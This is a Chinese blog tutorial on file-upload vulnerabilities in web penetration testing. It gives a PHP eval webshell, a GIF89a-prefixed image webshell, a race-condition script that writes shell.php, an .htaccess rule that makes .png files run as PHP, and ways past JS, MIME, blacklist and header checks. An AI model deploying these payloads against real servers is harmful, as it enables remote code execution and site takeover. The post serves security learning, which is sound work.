首页 > 其他分享 >web渗透—文件上传

web渗透—文件上传

时间:2024-08-06 13:17:19浏览次数:10  
标签:web 文件 渗透 htaccess Apache 绕过 php 上传

文件上传

一、原理

1、通过文件长传模块上传一句话木马;然后用蚁剑或者cknife连接

//一句话木马
<?php @eval($_POST['cmd']);?>

二、过滤和绕过

1、前端验证

原理:使用js代码对文件的类型进行限制

绕过

(1)禁用Js脚本

方法1:将网站源码复制带.htm文档中;删除js代码过滤的地方进行文件上传

方法2:在浏览器中禁用js脚本(F12中在设置中找到禁用javascript代码选项;开启disable javascript功能,就可以不执行js代码;从而不检测文件的类型)

image

方法3:burpsuite截取数据包修改对应的文件后缀名绕过前端验证
image

2、MIME类型检查

原理:MIME检测就是检测content-type的值来判断上传的文件的类型是否合法;conten-type的值用来确定文件的类型;如果不符合要求就无法上传文件

绕过:bp抓包修改content-type绕过验证
image

3、黑名单检测

原理:后端代码定义一个黑名单;文件类型在黑名单中无法上传;若黑名单不完整就可以绕过!

绕过

(1).cer后缀名的文件在asp网站中也会被解析为.asp类型的文件

(2)bp抓包进行模糊测试爆破 ;比如.php代码的后缀名可以为.php .php3 php4 php6 php7 phtm phtml pht等等!

4、白名单检测

原理:设置白名单;上传文件类型符合白名单内容文件才能长传成功!相比于黑名单更加安全;难以绕过!

绕过:结合文件包含漏洞上传webshell

(1)文件包含:在php中具有include,include_once,require,require_once函数可以包含其他文件;无论是什么类型的文件;只要文件内容符合php基本语法就会被解释和执行;利用文件包含漏洞就可以上传一句话木马并且执行

<?php
	$file=$_GET['file'];
	include $file
?>

5、文件头部检查

原理:后端代码对上传文件的头部进行检查;若不符合则上传失败

绕过:bp抓包;在文件内容中添加文件头部既可以绕过!或者使用010editor中添加文件头部

GIF89a<?php @eval($_POST['cmd']);?>
//GIF89a就是文件头部

6、竞争上传

原理:后端代码逻辑是先进行文件上传;在进行逻辑判断;可以利用这个时间差进行webshell上传

//1.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd'])?>');?>
//访问url/?upload/1.php,会在网站目录中生成shell.php,1.php被删除但是shell.php不会被删除!

7、.htaccess

原理:.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时;.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

绕过:首先上传一个png木马;然后在上传一个.htaccess配置文件;该配置文件的作用就是将png文件当作php文件执行;那么上传的png图片马就可以触发了;使用蚁剑连接就可以了!

//.htaccess内容
AddType application/x-httpd-php .png  			//.png文件当作php文件解析

image

标签:web,文件,渗透,htaccess,Apache,绕过,php,上传
From: https://www.cnblogs.com/gsupl/p/18344950

相关文章

  • cockpit <=2.4.1 后台任意文件上传漏洞靶场复现(CVE-2023-1313)
    cockpit在2.4.1版本之前存在任意文件上传漏洞PS:通过在浏览器中打开/install来运行安装主页界面使用admin/admin登录不了根据提示访问/install后自动创建admin/admin,再次登录可以找到一个上传点,上传phpinfo并burp抓包具体路径可以在上传后有个下载按钮,会看到完整的访问......
  • DC-7靶机渗透测试
    DC-7靶机DC:7~VulnHub文章目录DC-7靶机信息收集web渗透权限提升Drupal后台getshell权限提升靶机总结信息收集经过扫描得到IP地址为192.168.78.154.其中开启了ssh和80端口,看来立足点就在于web渗透找到漏洞,获取用户密码来进行ssh连接进行寻......
  • 五、.Net Core Web Api连接MongoDB自动创建表格并实现CRUD功能
    五、.NetCoreWebApi连接MongoDB自动创建表格并实现CRUD功能1.注册MongoDB账号,并获取ConnectionString;MongoDB官网:MongoDB:TheDeveloperDataPlatform|MongoDB获取ConnectionString教程:ConnectionString获取在VSCodeforMac按下shift+command+p搜索Nuget......
  • 使用JS的input框实现音频文件的上传与播放功能
    在网页中实现音频文件的上传和播放功能,可以通过HTML的<input>元素和JavaScript来完成。下面是一个简单的示例,展示了如何使用HTML和JavaScript实现这个功能:HTML部分<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>音频上传与播放</title>......
  • selenium webdriver出现Element is not currently visible and so may not be interac
    问题分析可能是没有加载完成,元素找不到。元素加载完成,但是元素需要点击按钮,才会触发元素插入进来元素加载完成,看到的值和实际后台传输的值是不一致的元素加载完成,本质是只有属性,是没有值的。看到的都是临时函数调用显示出来的解决方案针对第一种可以适当延长休眠时间来......
  • windows下RabbitMQ安装后,无法进入web管理页面问题
    在window安装rabbitmq,访问http://127.0.0.1:15672/,访问不了;有可能是没开启网页管理界面1、在cmd窗口下进入rabbitmq安装目录下的sbin目录,使用rabbitmq-plugins.batlist查看已安装的插件列表。 2、使用rabbitmq-plugins.batenablerabbitmq_management开启网页管理界面 ......
  • 春秋云境 | 文件上传 | CVE-2022-29464
    靶标介绍WSO2文件上传漏洞(CVE-2022-29464)是OrangeTsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。开启靶场先到国家信息安全漏洞库查看一下这个漏洞的相关信息利用......
  • vite和webpack的区别
    内核区别最明显区别是及时编译和打包编译,开发编译速度上的区别。配置区别主要区别就是webpack有loader和plugins配置,vite直接是plugins为主体。viteplugins中配置编译器和插件:其他json配置大同小异。参考文章https://zxuqian.cn/difference-between-vite-and-webpac......
  • web渗透—RCE
    一:代码执行相关函数1、eval()函数与assert()函数(1)原理:将用户提交或者传递的字符串当作php代码执行;最终造成命令执行漏洞(2)passby:单引号绕过:闭合+注释;开启GPC的话就无法绕过(GPC就是将单引号转换为"反斜杠+单引号")eg:<?phphighlight_file(__FILE__);//高亮显示代码......
  • Bugku -----Web-----全题目解析 (二) 超详细步骤
    ————————————————————分割线———————————————————— 6.矛盾这一行从URL查询字符串中获取名为num的参数值,并将其赋值给$num变量。如果URL中没有提供num参数,或者参数值不是有效的字符串,则$num将被设置为空或者默认值。......